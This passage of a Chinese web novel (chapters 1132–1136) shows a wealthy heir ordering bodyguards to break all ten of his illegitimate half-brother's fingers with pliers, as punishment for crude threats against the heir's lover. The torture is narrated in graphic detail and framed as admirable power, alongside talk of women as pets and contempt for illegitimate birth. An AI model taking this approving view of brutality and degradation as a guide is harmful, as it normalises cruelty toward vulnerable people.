他说这话的时候,是真的让保镖弄断了黎远航的一根手指,虽然后来接回来,但黎远航的手指还是会在阴雨天疼痛。 那夜之后,黎远航的恐惧成了生理性的反应,见了他便喉头哽塞,掌心沁汗,仿佛被掐住命运的咽喉。 可以说黎远航在黎家不一定特别害怕黎老太太,但一定最害怕黎云笙,因为黎老太太好歹还念点感情,但黎云笙对他是没有半分感情可讲的。 他敢设计到黎云笙身上,黎云笙就能真的敢弄断他的手指。 黎远航不是没有反抗过,甚至闹到黎老太太的面前。 黎老太太是怎么说的?黎老太太告诉他,黎云笙才是黎家的嫡系血脉继承人,以后整个黎家都是黎云笙的,不要说现在黎云笙只是弄断他一根手指了,就算黎云笙真想要他这条命,他也是要赔上来的。 就是这么现实。 你就是个私生子,你凭什么妄想跟黎家的继承人相比? 你就是个舞女小三生下来的私生子,你的母亲都没办法进黎家大门,你还当你是什么了不得的东西了? 可以说,老太太若是肯宠他几分,那黎远航还会被人称作是航少,但若是黎老太太都不在意黎远航,那圈子里的人对黎远航也就只剩下嘲讽了。 他一切的希望可以说就是全部都寄托在黎老太太身上的。 黎云笙看着黎远航,眼底的凉意藏也不藏,黎远航瘫软在沙发上还在喘息,身上的衣服已经被冰水浇透了,此刻冷的他整个人都在发抖。 可他还是抬眸看向黎云笙,眼底带着明显的嘲笑意味儿,都这时候了竟然还想着嘲笑黎云笙。 周围的一群二代们都觉得黎远航多半是要疯了。 “你为什么这么时间来?是因为我打算动温栩栩?” 黎远航呵呵的冷笑一声。 “你眼光是好,圈子里玩了这么多女人,没一个比温栩栩更勾人的。脸蛋儿像剥壳荔枝,身段儿活似蛇腰,性子还带点火辣劲儿——这种女人玩到手才有滋味!”他忽地倾身凑近,喉间溢出低笑,“不像那些知道老子私生子身份就贴上来的货色,无趣得紧。温栩栩这样的……到手了才知道多有意思,哈哈哈!” “不愧是黎家继承人,就是找个情人也要这么挑剔呢。” 黎远航这话几乎就是告诉黎云笙。 我看上你的女人了,你这么会挑女人,我现在就是想碰想摸想上手,我还真就告诉你了。 “黎云笙,你可是我们黎家的继承人,你可不能像我这样玩女人,你是继承人,你就只能娶圈子里面的名媛,不像我,可以在外面随便选人,至于温栩栩……就算漂亮,那出身也是配不上你的。” 黎远航这话说的就很有意思了。 温栩栩配不上黎云笙,那配得上谁? 他吗? 对的,黎远航就是这个意思。 黎云笙眸光冰冷,面色仍然平静,黎远航还当黎云笙真的没把温栩栩当回事呢,继续开口。 “我就觉得你对那温栩栩有意思实在是不应该,她那种人配我这种出身的才刚刚好,你看看,我多会调教人,这成唯在圈子里面不也傲得很?在我面前不还是一条狗?温栩栩现在这么执拗,以后到我身边我肯定会把人调听话的,肯定不能继续像现在这样嚣张,都忘了她自己到底是什么出身了。” “宠物就是宠物,别想着跟主人是一个待遇的,这种事她心里可一定要清楚才行。” 他还觉得自己说的特别有理,甚至还给自己拍了下手掌。 周围一圈二代噤若寒蝉,没人敢吱声。 可以说跟黎远航混的这圈子人没有人不怵黎云笙的,也就黎远航还能唠几句了。 黎远航看黎云笙没有回应,还当温栩栩对他并不算多重要,又道:“等我真的把温栩栩调教好了,你也可以试试这女人多好用多好玩。”说着脸上都露出了猥琐的笑意。 “说完了?”黎云笙声调淡淡的。 黎远航只觉有哪里不太对,结果下一秒黎云笙就淡淡道:“断他十根手指。” 就这样轻飘飘一句话。 黎远航脸上的笑意就彻底僵住了。 他不敢置信的看着黎云笙:“你疯了!” “我要碰的是温栩栩又不是你!黎云笙!我没有招惹你!” 他不觉得自己有错,黎云笙当初说的是招惹他才会断他手指,那现在算什么!他现在还不算老实吗!黎云笙又是发的哪门子的疯! 保镖已经冲过来,黎远航也知道黎云笙不是开玩笑的,他是说真的。 黎远航瞳孔骤缩,额角未愈的伤口因惊惧绷裂,血珠渗出。 他强撑笑颜崩出裂痕,嗓音嘶哑如砂纸:“你、你敢……老太太不会——” “老太太会。”黎云笙忽地轻笑,笑意却比怒更冷,“她会选黎家的继承人,而非一个辱了家族脸面的私生子。” 这话像一把利刃,剖开黎远航最后的遮羞布。 他踉跄后仰,撞翻沙发扶手,酒瓶碎渣扎进掌心,血与酒混成腥红的液体,二代们噤若寒蝉,连呼吸都凝滞。 嫡子终于撕开伪善的皮,露出绞杀的獠牙。 私生子竟然真的妄想跟嫡系血脉去争去斗甚至去挑衅,这绝对是忘记了自己的身份。 第1132章 你动了我的人 对黎云笙来说,黎远航是什么呢? 虽然有同一个父亲,但在他眼里他们从不是同一类人,黎远航这类人是早就该被淘汰的败类人渣。 黎云笙甚至没有将黎远航看做是一个正常的人类。 他觉得这人活的像是一个笑话,或者说他的出生本质上就是一个笑话,只是这个笑话本人并不知道自己是笑话,还在不停的沾沾自喜。 黎云笙眸光冰冷淡漠的看着他,眼底都是对他的嘲意,黎远航心尖几乎都在轻颤,才被黎云笙开车撞过,额头的伤口还在隐隐作痛,甚至于伤口都还在继续流血,结果现在自己就已经正式对上了黎云笙。 他什么东西,也配对上黎云笙。 黎远航喉间发堵,想说点什么,却咳嗽的嗓子疼,眼睛发红的盯着黎云笙。 黎云笙倚在雕花门框边,玄色西装如墨渊般沉凝,指尖漫不经心地摩挲着腕间铂金表链,金属冷光在昏暗的走廊里折射出锐利的弧。 他的眸光比走廊尽头的应急灯更冷,穿透黎远航颤抖的身躯,直刺进骨髓深处。 在黎云笙的世界里,黎远航从来不是“人”,而是实验室里一只自毁的蛆虫,生母是舞女小三,血脉里淌着卑贱与贪婪,连存在都是对黎家嫡脉的亵渎。 他出生便是笑话,却仍不知死活地沾沾自喜,在嫡子的权柄前蹦跶如小丑。 黎远航瘫坐在墙角,额角伤口的血痂被冷汗浸软,血丝蜿蜒如毒虫爬过苍白的皮肤。方才被黎云笙开车撞飞的惊恐尚未褪去,肋骨处的钝痛仍在抽搐,此刻直面嫡子冰刃般的凝视,喉间仿佛被塞了烧红的铁块,呛出嘶哑的咳嗽。 他攥紧染血的袖口,指甲掐进掌心,试图用虚张声势掩盖溃败的颤抖:“你真的这么对我……你就不怕你以后都不会有什么好名声吗!你也不想以后自己在外被人背地里嘲讽活阎王吧!” 这威胁在黎云笙耳中不过是一声蚊蚋嗡鸣。他眉峰微挑,唇角扯出讥诮的弧度,仿佛在看一场拙劣的滑稽戏。 黎远航的蝼蚁挣扎,连激起他情绪涟漪的资格都没有。 周围空气骤然凝滞,仿佛被抽走了所有温度,黎云笙的气场如无形的绞索,将私生子的呼吸一寸寸勒紧。 他缓步逼近,皮鞋碾过地面的血渍,发出黏腻的声响,每一步都似踩踏在黎远航的脊骨上:“名声?”嗓音如淬毒的刃,刮过黎远航的耳膜,“你以为,黎家继承人的权柄,会惧蝼蚁的聒噪?” 黎远航瞳孔骤缩,喉头哽塞,冷汗浸透后背。他这才惊觉,自己引以为傲的威胁在嫡子眼中不过是跳梁小丑的戏码。 黎云笙根本不屑于解释,他的存在本身就是权力的化身,私生子的污言秽语,连沾污他衣角的资格都没有。 黎远航好像觉得自己这样说就能真的攻击到黎云笙一样,他这样一通输出,其实根本不明白这样的攻击对黎云笙来说几乎等同于零。 如果他真的在意周围人的说法,当初也不会一次又一次针对黎远航。 黎云笙神色寡淡,微微皱眉,深邃漆黑的瞳眸中凉意尽显,只是这样一个眼神,黎远航身体都开始轻微的抖了。 是的,是被吓得。 恐惧如毒藤缠上黎远航的喉管,他踉跄欲起,却跌回墙角,指尖抠进墙缝的石膏碎屑,混着血沫在掌心凝结成腥红的泥:“你到底什么会这么大反应!我只是做错了一点小事!为什么要这么对我!” “小事?”黎云笙忽地轻笑,笑意却比怒更冷。他俯身逼近,瞳孔深处翻涌着冰渊般的寒潮,指尖钳住黎远航的下颌,力道如铁钳碾碎骨渣,“动温栩栩,是小事?” 他嗤笑出声,喉间溢出的每个字都裹着绞杀的意味,“你碰她一根头发,我便断你十根手指。老太太的宠溺,护不住你这条烂命,她早说过,你是私生子,命贱如草。” 黎远航的瞳孔因惊恐而涣散,下颌骨在嫡子的钳制下发出脆响。 他试图挣扎,却如困在蛛网的飞蛾,徒劳地煽动翅膀。 直到这一刻,黎远航才真正看清自己的位置,在黎家,他不过是嫡子脚下可随意踩踏的蝼蚁,连质问的权力都没有。 恐惧混着屈辱涌上喉头,他呛出哽咽:“我明明没有动你!你为什么还要这样对付我!” 黎云笙的眸底闪过一丝更深的讥诮。 黎云笙歪头凝视黎远航,动作和缓如闲庭漫步,却似死神俯身倾听将死之人的哀鸣。 他指尖轻叩大理石墙面,节奏缓慢而笃定,仿佛敲在黎远航的心骨之上。 院内的灯光好像在此刻忽明忽暗,光影在他轮廓分明的侧脸上切割出锋利的阴影,瞳孔深处翻涌着千年不化的冰渊,寒意几乎凝成实质,顺着空气渗入黎远航的每一寸骨缝。 那冷意并非寻常的凛冽,而是裹着血腥与权力的绞杀之气,仿佛能将骨髓冻结,将魂魄抽离。 黎远航僵在墙角,额角的伤口仍在渗血,血珠沿着苍白的脸颊滑落,在衬衫领口晕开暗红的蛛网。 他喉间哽塞,呼吸急促如破风箱,却不敢剧烈喘息,那寒意已侵入肺腑,每一次换气都似吞下冰碴。 他盯着黎云笙,瞳孔因惊恐而涣散,恍惚间竟生出一种错觉,眼前的嫡子从未将他视为同类。他仿佛只是实验室里待解剖的标本,或是阴沟里蠕动的蛆虫,连质问的尊严都被剥夺殆尽。 “温栩栩是我的人,你动了我的人。”黎云笙的嗓音低沉,他微微前倾,西装袖口滑出半截腕骨,铂金表链折射的冷光刺入黎远航的视网膜。 那寒意并非源于情绪,而是源于血脉中根深蒂固的权力碾压,仿佛嫡子与生俱来的权柄,便是将庶子碾为尘埃的冰刃。 黎远航喉头颤抖,冷汗浸透后背,指甲深深抠进墙缝的石膏碎屑中。 黎云笙歪头看他,动作和缓平静,和就是这样平静的动作中带着明显的让人感受得到的噬骨的寒意。 第1133章 我早该让你知道我疯 那种寒意几乎是深入骨髓的寒意。 是会让黎远航觉得自己骨头缝好像都是冷意的那种寒凉感觉。 这一瞬间,黎远航甚至觉得黎云笙好像根本没有把自己当人看。 他就是有这样的错觉,觉得自己是被完全轻视的,好像他从出生开始跟黎云笙就不对等,他永远都低一等只能去仰望黎云笙。 黎远航觉得自己实在是有些不明白黎云笙了,他明明是黎家的继承人,为什么还会那么在意一个孤儿院出身的女人,甚至开口对他说,温栩栩是他的人,他这是真的要跟老太太正面刚吗? 到底是他们谁疯了? 他不觉得自己疯了,他只觉得黎云笙疯了。 他嘶声质问,声音却被恐惧绞得支离破碎:“你真的清楚你在说什么吗?奶奶不会答应的!” 他提及黎家老太太,仿佛抓住最后一根救命稻草。在黎家,老太太的宠溺是他唯一的庇护,他笃信就算黎云笙是黎家嫡系继承人那又怎样? 嫡子再桀骜,也不敢公然违抗家族权威。 黎云笙垂眸,目光如冰刃剖开黎远航的侥幸。他嗤笑出声,笑意却比怒更冷:“那是我的事。”简短五字,如铁锤砸碎虚妄。 他没有正面回答,可对黎远航来说这已经算是正面回应了,温栩栩是他的人,有关温栩栩的事就是他的事,他碰了温栩栩就是得罪了黎云笙,所以黎云笙才会来找他。 这样逻辑通顺了。 黎远航直觉自己此刻好像都开始头痛了。 他也确实是头在痛,额头撞了那么大的口子也没包扎,喝了这么多酒整个人都有些魔怔了一般,好像眼睛都快要睁不开的程度,他好像真的不知道自己此刻该说什么能说什么了。 黎远航瞳孔骤缩,额角伤口的钝痛骤然加剧,混着酒精的眩晕感如潮涌来。 他踉跄欲起,却跌回墙角,指尖抠进墙缝的碎屑,混着血沫在掌心凝结成腥红的泥。 他不解,不甘,更不敢置信,黎云笙为何为一个孤儿院出身的女人,甘冒与老太太正面冲突的风险?他分明是黎家继承人,未来的掌权者,怎会沉溺于这般“低贱”的情感? “你是真的疯了。”他呛出哽咽,尾音带着颤栗的嘶哑。黎云笙的冷意已将他逼至崩溃边缘,仿佛被按入冰湖的窒息者,连挣扎都成了徒劳的抽搐。 黎云笙忽地轻笑,笑意如寒刃出鞘。他俯身逼近,瞳孔深处翻涌着冰渊般的寒潮,指尖钳住黎远航的下颌,力道如铁钳碾碎骨渣:“疯?” 他嗤笑反问,喉间溢出的每个字都裹着绞杀的意味,“我早该让你知道我疯。” 潜台词是,这样你就不敢碰他的人。 黎远航的瞳孔因惊恐而涣散,下颌骨在黎云笙的钳制下发出脆响。 他试图挣扎,却如困在蛛网的飞蛾,徒劳地煽动翅膀。 黎云笙倚在雕花门框边,指尖轻叩大理石墙面,节奏缓慢而笃定,仿佛敲击在黎远航的心骨之上。 他歪头凝视着黎远航,瞳孔深处翻涌着千年不化的冰渊,寒意几乎凝成实质,顺着空气渗入黎远航的每一寸骨缝。 那冷意并非寻常的凛冽,而是裹着血腥与权力的绞杀之气,仿佛能将骨髓冻结,将魂魄抽离。 黎远航踉跄后退,额角伤口的血痂被冷汗浸软,血丝蜿蜒如毒虫爬过苍白的皮肤。 他喉间哽塞,呼吸急促如破风箱,却不敢剧烈喘息,那寒意已侵入肺腑,每一次换气都似吞下冰碴。 他恍恍惚惚地嘶喊:“疯子!”声音在空荡的走廊里回荡,却如蚊蚋嗡鸣,无法撼动黎云笙分毫。 黎云笙轻笑出声,笑意却比怒更冷。 他微微抬眸,目光轻飘飘地掠过保镖,嗓音平缓如叙述家常:“折断他十根手指。” 语毕,他指尖继续轻叩墙面,节奏未变,仿佛下令的并非血肉之躯的刑罚,而是修剪花园里一株碍眼的杂草。 黎远航瞳孔骤缩,惊恐如毒藤缠上喉管。他猛然从地上跃起,仿佛脚下真有灼人的火舌,嘶吼着冲向走廊尽头:“黎云笙!你是真的疯了!”声音撕破空气,带着濒死的绝望。 然而,他尚未跑出三步,两侧阴影中骤然窜出数名保镖将他狠狠摁倒在地。 黎远航挣扎着,四肢如被铁钳禁锢,头发被粗暴地扯起,额角伤口的血混着冷汗滴落,在地面晕开暗红的蛛网。 “你们敢!你们不许动我!”他目赤欲裂,嘶吼如困兽。 他嘶吼着自报身份:“我是黎家的大少爷!”声音凄厉,却无人回应。 保镖们沉默如机械,执行命令的精准度堪比精密仪器。其中一人掏出寒光凛凛的钢钳,钳口咬合声在死寂中格外刺耳。 黎云笙仍倚在门框边,垂眸冷观,眼底无一丝波澜,唯有对蝼蚁的轻蔑如冰刃悬于虚空。 第一根手指被钢钳钳住时,黎远航的瞳孔几乎要迸裂。 钢钳缓缓收紧,骨骼在金属挤压下发出细微的脆响,仿佛冰层破裂的呻吟。 黎远航眼睛几乎都要瞪出来目赤欲裂。 “你们敢!你们不许动我!” “我是黎家的大少爷!” “不许!” “啊——!”剧痛如电流窜遍全身,他猛地仰头,发出撕心裂肺的哀嚎。 那声音惊得远处阴影里的纨绔二代们瑟瑟发抖,有人攥紧酒杯,指尖发白,有人蜷缩在沙发角落,恨不能将自己藏进地缝。 他们皆是家族中的二代纨绔,惯于嚣张跋扈,此刻却连呼吸都放轻,生怕被黎云笙的冷刃目光扫中。 第二根手指……第三根……钢钳每收紧一次,黎远航的哀嚎便更凄厉一分。 他浑身抽搐,冷汗浸透衬衫,额角伤口的血与泪水混作一处,在地面拖出蜿蜒的猩红轨迹。 十指连心,痛感如万蚁啃噬骨髓,他试图挣扎,却被保镖的铁臂死死压住,仿佛砧板上待宰的鱼肉。 周围二代们目睹这一幕,喉间发堵,有人甚至干呕出声,那痛楚太过真实,仿佛钢钳也钳住了他们自己的手指。 “你们不能这样!我是黎家人!奶奶不会放过你们的!”黎远航嘶哑的咒骂混着哀嚎,在院子中回荡。 然而,黎云笙的回应只是更深的嗤笑。 第1134章 自己发疯也别拉拽着我们 他缓步踱近,皮鞋碾过地面的血渍,发出黏腻的声响。 俯身时,西装袖口滑出半截腕骨,铂金表链冷光刺入黎远航涣散的瞳孔。 “黎家人?”他冷声截断,字字如钉,“私生子的命,贱如草芥,这句话是我今晚第二次跟你讲了,希望你能记清楚。”语毕,他直起身,目光扫过远处瑟缩的纨绔们,冰渊般的瞳眸中掠过一丝警告的锋芒。 钢钳继续咬合,第四根、第五根……黎远航的哀嚎渐弱,转为断续的呜咽。 他瞳孔涣散,涎水从嘴角滑落,浑身痉挛如癫痫发作。 周围二代们屏息凝视,有人攥紧沙发边缘,指甲抠进皮革,有人闭眼不敢再看,耳畔却仍灌满那凄厉的哀嚎。 他们皆明白,黎云笙此举不仅是惩戒黎远航,更是立威,他要用庶子的血,震慑所有敢染指温栩栩的蝼蚁。 十根手指尽数折断时,黎远航瘫软如烂泥,仅剩断续的抽气声。 血渍在他身下汇成暗红的小潭,腥气混着冷汗弥漫在空气中。 保镖们收钳退立,黑衣上未沾一丝血迹,仿佛从未执行过如此血腥的刑罚。 黎云笙漠然俯视这残躯,甩袖拭去指尖不存在的污痕,嗓音冰冷:“下次再敢碰温栩栩,折断的便是你的脊椎。” 走廊尽头传来黎远航最后的呜咽,如濒死兽类的哀鸣。 而远处阴影中的纨绔们,仍蜷缩着不敢动弹,冷汗浸透后背。 这些纨绔二代们没有一个敢冒头为黎远航说句什么的,一是不敢,二是觉得自己的身份不配提及黎云笙 不要吧,他们都是家族里面的纨绔二代,真要被黎云笙断了手指估计家里面也不会为了他们跟黎云笙翻脸的,只会说他们不懂事惹恼了黎云笙纯属活该,这找谁说理去?谁听了不说一句惨的? 而且……黎远航在圈子里面那么嚣张,外面也没少传出黎家老太太疼黎远航的事迹,可在黎云笙这里,黎远航仍然什么都不是,黎云笙完全瞧不上黎远航,或者说完全没有把黎远航看在眼里,不然也不会真的狠到弄断他十根手指。 果然,黎云笙确实是传言中那样杀伐果断,人狠话不多的代表型任务。 黎远航到底是哪里来的胆子敢动黎云笙的人!你一个私生子!你配吗! 一群纨绔你看看我我看看你,全都没敢挪地儿,生怕黎云笙看自己不顺眼也给他们手指弄断了,十指连心,他们吃不得这些苦,受不来一点。 一群纨绔二代蜷缩在奢靡包厢的角落,仿佛被无形冰刃钉在原地。 水晶吊灯洒下的碎光在他们脸上闪烁,却无法驱散笼罩四周的寒意。有人死死攥住天鹅绒沙发边缘,指尖发白,有人将脸埋进鳄鱼皮抱枕,却仍止不住身躯的颤抖,有人蜷成团冷汗浸透衬衫,后背紧贴冰凉大理石,仿佛这样便能将自己藏进石缝。 他们皆是家族中的二代,平日里嚣张跋扈、呼风唤雨,此刻却连呼吸都放轻,生怕一丝声响引来黎云笙的注意。 “完了……完了……”角落里传来低不可闻的喃喃。 有人吞咽着唾沫,喉结滚动如哽塞了铅块。 房间内的香槟气泡仍在杯中翻涌,却无人再碰,水晶杯壁映出他们惊恐的倒影,面容扭曲如见鬼魅。 黎远航的哀嚎仍残留在耳膜,十指折断的脆响仿佛还在空气中回荡,每一寸骨节都似被那钢钳碾过,痛感如电流窜遍全身。 他们清楚,黎云笙的冷刃从不分嫡庶,今日黎远航的血,明日或许就会溅在他们自己身上。 “他疯了吧……”有人哆嗦着吐出半句,声音戛然而止,仿佛连空气都凝固了。 周围人纷纷交换眼色,目光中满是惶然与怨怼。他们不敢提及黎云笙的名字,仿佛那三个字会召来死神。 黎远航在圈子中何等嚣张?仗着老太太的宠爱,横行霸道,无人敢拂其意。可今日,黎云笙连眼皮都未抬,便以十根断指宣告主权,在嫡子眼中,私生子的命贱如草芥,连碰他护着的人都不配。 “黎远航……也敢动他的人?”有人恨恨咬牙,声音却压得极低,黎远航不过是老太太一时心软的产物,凭什么在黎家横行?可黎云笙的狠辣更令他们胆寒。传言中他杀伐果断,人狠话不多,今日亲见,方知那传言竟是轻描淡写。 折断十指,如碾碎蝼蚁,他连眉梢都未动分毫。 恐惧在人群中蔓延,如毒藤缠上每个人的脊骨。有 人攥紧手机,指尖在屏幕上颤抖,想拨通家族求助,却迟迟不敢按下。 他们清楚,若真被黎云笙断了手指,家中长辈只会斥责他们不懂事,怪他们惹恼了嫡子,而非为他们的“惨状”出头。 家族利益高于一切,他们这些纨绔的痛,在权力天平上轻如鸿毛。 “跑……跑吧!”突然有人哑声提议,声音带着哭腔。众人倏然抬头,目光交汇,瞳孔中燃起一丝希冀。 可那希冀转瞬便被更深的恐惧浇灭。包厢门紧闭,保镖如铁壁立于两侧,简直就是故意围堵他们这群人的。 “不能跑……”另一人嘶哑道,嗓音如被砂纸磨过。 他蜷在沙发深处,西装裤管已被冷汗浸成深色,“一动,便暴露了。他若觉得我们心虚,定会……”后半句哽在喉间,化作无声的颤栗。 众人沉默,包厢内只余粗重的呼吸与断续的抽气声。 他们恨不能将自身缩成尘埃,恨不能时光倒流,未曾踏入这场血腥的漩涡。 有人忽而想起黎云笙离去前的目光,如冰渊般深邃,扫过他们时,仿佛已将他们钉在耻辱柱上。 那目光中无一丝波澜,唯有彻骨的轻蔑,仿佛他们与黎远航并无本质区别,皆是可随意碾碎的蝼蚁。 他们这才惊觉,在嫡子的权柄之下,所谓的家族身份不过是薄纸一张,轻轻一撕,便露出底下卑微的骨肉。 “黎远航好端端的干什么要招惹黎云笙……他自己发疯也别拉拽着我们啊……”有人终于挤出这句话,尾音带着绝望的哽咽。 第1135章 他就不能安分些吗 黎远航瘫软在地,十根手指如被碾碎的枯枝,扭曲地垂在掌心。鲜血从指节断裂处汩汩涌出,在地面蜿蜒成暗红的蛛网,腥气混着冷汗弥漫在空气中。 他蜷缩着身体,仿佛要将自己缩成一团,可剧痛却如毒蛇啃噬骨髓,令每一寸肌肉都在痉挛。 他脸色苍白如纸,额角冷汗密布,汗珠滚落时划过伤口,刺痛又激起新一轮的抽搐。 喉间发出的嚎叫早已嘶哑,断断续续如破风箱拉气,每一个音节都裹着濒死的绝望:“疼……啊……黎云笙……你……不得好死!” 他的瞳孔涣散,血丝密布,仿佛要裂开眼眶。十指连心的痛感并非单纯的切割之苦,而是千万根钢针同时刺入骨髓的绞杀。 每一根折断的手指都似被点燃,火烧般的灼痛与冰锥般的刺骨交替袭来,痛感如电流窜遍全身,令他的身躯时而紧绷如弓,时而瘫软如泥。 他试图挣扎,可四肢早已被冷汗浸透,无力地瘫在地上,仿佛被抽去了所有气力。 血渍在身下汇成小潭,他的指尖在血泊中无意识地颤动,如同濒死之鱼最后的挣扎。 “为什么……为什么……”他断续的喃喃混着哀嚎,声音破碎如玻璃渣。 他早知黎云笙狠,却从未想过这狠辣竟能如此极致。 在黎家,他自诩为“大少爷”,即便私生子的身份让他在嫡庶之争中如履薄冰,但老太太的偏宠让他习惯了嚣张跋扈。 可今日,黎云笙连一丝情面都未留,当着所有二代的面折断他的十指,将他钉在耻辱柱上。那钢钳咬合的脆响,那保镖的机械执行,以及黎云笙冷眼旁观的漠然……每一帧都如利刃剜心,将他的尊严碾成齑粉。 恨意如毒藤在胸腔疯长,几乎要撑破他的肋骨。 他恨黎云笙的冷血,恨他的权势,恨他视自己如蝼蚁的轻蔑。 他咬紧牙关,牙龈渗出血丝,目光如淬毒的匕首,死死盯着黎云笙离去的方向。 那恨意如此滔天,几乎凝成实体,在瞳孔中翻涌成黑红的漩涡。 他嘶声咒骂,声音却因剧痛而支离破碎:“黎云笙!我咒你……咒你不得好死!我要你……血债血偿!”每吐出一个字,喉间便涌上一股腥甜,仿佛要将心肺都咳出来。 他蜷缩的姿势愈发扭曲,仿佛要将痛楚蜷进体内,可那痛感却如影随形。 冷汗浸透的衬衫紧贴脊背,凉意与剧痛交织,令他浑身颤抖如筛糠。 他试图用牙齿咬住袖口压抑哀嚎,却因剧痛失控而咬破嘴唇,鲜血混着涎水滑落,在下颌滴落成新的血痕。 周围二代们的目光如芒刺在背,他们虽未敢出声,但那些瑟缩的身影、畏惧的眼神,却比刀割更令他屈辱。 他仿佛听见窃窃私语:“私生子就是私生子,连嫡子的衣角都碰不得……”那声音如鞭子抽打灵魂,将他最后的自尊抽得粉碎。 疼痛并未因时间的流逝而减轻,反而在折磨中愈发清晰。 每一根断指都似有生命般,各自发出不同的痛楚,有的如火烧,有的如冰刺,有的如万蚁啃噬。 他试图用未受伤的手掌捂住耳朵,隔绝外界的声响,可那痛感却从指尖直窜天灵,令他眼前发黑,几乎晕厥。 但黎云笙留下的诅咒般的话语,“下次再敢碰温栩栩,折断的便是你的脊椎”,这句话却如钢钉钉在脑海,令他在痛楚中保持清醒,恨意愈发炽烈。 他恨自己此刻的狼狈,恨自己如砧板鱼肉般的无力。 他想起自己曾如何仗势欺人,如何将旁人踩在脚下,可今日,他却被黎云笙以最羞辱的方式碾压。 那保镖的铁臂、钢钳的寒光、嫡子的嗤笑……这些画面在眼前循环闪现,将他拖入更深的耻辱深渊。 他发誓,若有机会,定要将今日之痛百倍奉还,哪怕粉身碎骨,也要让黎云笙尝尝这断指之恨的滋味。 血泊中的身躯仍在抽搐,哀嚎声渐弱,转为断续的呜咽。 他的眼神却愈发疯狂,恨意如岩浆在眼底翻涌。 纨绔二代们看着他的惨状几乎都在瑟瑟发抖,谁敢凑上去为黎远航出气,那绝对是不要命了。 “黎远航就真的不能安分一点吗!”不知道是谁突然说了一句。 周围人纷纷点头,喉间发堵。 他们曾是二代中的“天之骄子”,此刻却如被扒光衣衫的乞儿,尊严被黎云笙的冷刃削得体无完肤。 黎远航的哀嚎仍在耳畔,他们仿佛已预见自己的结局,若再敢妄动,那钢钳钳住的将是他们的手指,那痛楚将撕裂他们的魂魄。 院内的气压愈发低沉,仿佛被抽走了所有氧气。 有人开始干呕,指尖抠进沙发皮革,血丝混着冷汗渗出,有人闭眼祈祷,嘴唇无声翕动,却不知该向何方神明求救。 他们深知,今夜之后,无人再敢小觑那位黎云笙,更无人敢再染指他护在羽翼之下的温栩栩。 终于,有人颤巍巍起身,皮鞋踩在碎玻璃般的寂静中,每一步都似踏在刀尖。 众人纷纷效仿,如提线木偶般挪向院门口,脊骨僵直,生怕身后传来黎云笙的命令。 保镖们沉默让路,黑衣如影,未发一言。 纨绔们踉跄逃出,仿佛身后有恶鬼追索,一路狂奔,直至逃入夜色深处,仍不敢回头。 夜风灌入衣领,他们方才敢大口喘息,冷汗被夜风一吹,化作刺骨的寒意。 有人瘫软在豪车座椅上,喉间发出劫后余生的呜咽,有人攥紧方向盘,指甲抠进皮革,疯踩油门逃离这片是非之地。 黎远航的惨叫声、黎云笙的冷刃目光,如噩梦般烙在脑海,他们清楚,这场血腥的余威,将伴随他们余生。 纨绔们都走了,成唯却没敢走,此刻还瑟缩在角落里面发抖,根本不敢有任何动作,像是担心自己一动就会被黎云笙看到然后也弄断他的手。 他的新剧再过不久就要开拍,他耗不起。 黎远航蜷缩在地,身躯如被狂风摧折的枯枝般剧烈颤抖。 第1136章 后院出大事了 十指断折的痛楚如千万钢针齐刺骨髓,他再也抑制不住地翻滚挣扎,喉间迸出嘶哑的哀嚎,仿佛困兽濒死前的凄鸣。冷汗浸透衣衫,黏腻地紧贴脊背,每一次痉挛般的抽搐都牵动伤口,痛感如潮水般一波波涌来,将他淹没在绝望的深渊。 他翻滚时撞上大理石柱,额头磕出血痕,血珠混着冷汗滚落,在地面晕开暗红的蛛网。 然而,这痛楚似乎仍不足以释放他体内翻涌的煎熬,他最终无力地瘫软在地,双目紧闭,气息微弱,竟在剧痛中昏厥了过去。 黎云笙静立一旁,他微微垂眸,目光如冰渊般扫过黎远航瘫软的身躯,唇角甚至未泛起一丝涟漪。 那眼神中没有怜悯,没有波动,仿佛注视的并非血肉之躯,而是一具无生命的残骸。 他眉梢微抬,动作轻得几乎难以察觉,却如无声的指令,两名保镖应声而动,其中一人大步跨向角落,提起一盆冷水,毫不犹豫地泼向黎远航。 冷水泼下的瞬间,黎远航如遭雷击般猛然抽搐。 冰冷的水流浸透伤口,刺痛与剧痛交织,他喉间爆发出凄厉的惨叫,仿佛灵魂被生生撕裂。他挣扎着睁开涣散的瞳孔,血丝密布,面容因剧痛扭曲得狰狞可怖。 十指断处传来的痛感如火烧般灼人,又似冰锥刺骨,他浑身颤抖如筛糠,牙齿咬紧袖口,却仍无法抑制喉间的呜咽。 冷汗再次浸透衣衫,他却仿佛被抽去了所有气力,瘫软在地,只能发出断续的呻吟:“疼……啊……黎云笙……你……疯子……”声音破碎如玻璃渣,每一字都裹着蚀骨的恨意。 黎云笙却始终静静伫立,仿佛一尊冰冷的雕塑。 他指尖轻叩大理石墙面,节奏缓慢而笃定,仿佛敲击在黎远航的心骨之上。 他的目光依旧平静,甚至带着一丝审视的淡漠,仿佛在观看一场无趣的戏码。 他并未出声,却再次抬了抬眉,保镖们立刻会意,退至一旁。 不多时,一名身着白袍的老宅医生匆匆赶来,手中提着药箱,步伐急促却带着几分畏惧。 医生蹲下身,动作却远非轻柔。他粗暴地扯开黎远航的衣袖,露出血肉模糊的断指。劣质药水被直接泼洒在伤口上,那药水刺激性极强,接触伤口的瞬间,黎远航爆发出撕心裂肺的吼叫,身躯如触电般剧烈弹起,又重重摔落在地。 医生手法粗鲁,包扎时绷带缠绕得生硬紧绷,甚至有一处勒住了断指的骨茬,痛得黎远航浑身抽搐,额头青筋暴起,冷汗如雨般滚落。 他嘶吼着咒骂:“畜生!你们都是畜生!”声音却因剧痛而支离破碎,仿佛从地狱深处爬出的哀嚎。 黎云笙却始终冷眼旁观,甚至未挪动半步。 他倚在雕花门框边,姿态慵懒而笃定,仿佛眼前的一切不过是蝼蚁的挣扎。 他眼底没有波澜,只有彻骨的轻蔑,仿佛黎远航的痛楚与嘶吼不过是跳梁小丑的表演,不值一哂。 他深知十指连心的痛楚绝非常人能忍,却刻意以最劣质的药水和粗暴的包扎,将这份痛楚无限放大,仿佛在黎远航的伤口上撒盐,以此碾碎他最后的尊严。 黎远航在剧痛中蜷缩成一团,身躯不时抽搐,喉间的嘶吼渐渐转为低弱的呜咽。 他的眼神却愈发疯狂,恨意如岩浆在眼底翻涌。 他咬紧牙关,牙龈渗出血丝,目光如淬毒的匕首,死死盯着黎云笙的方向。那恨意如此滔天,几乎凝成实体,在瞳孔中翻涌成黑红的漩涡。他嘶哑地咒骂:“黎云笙……我咒你……不得好死!” 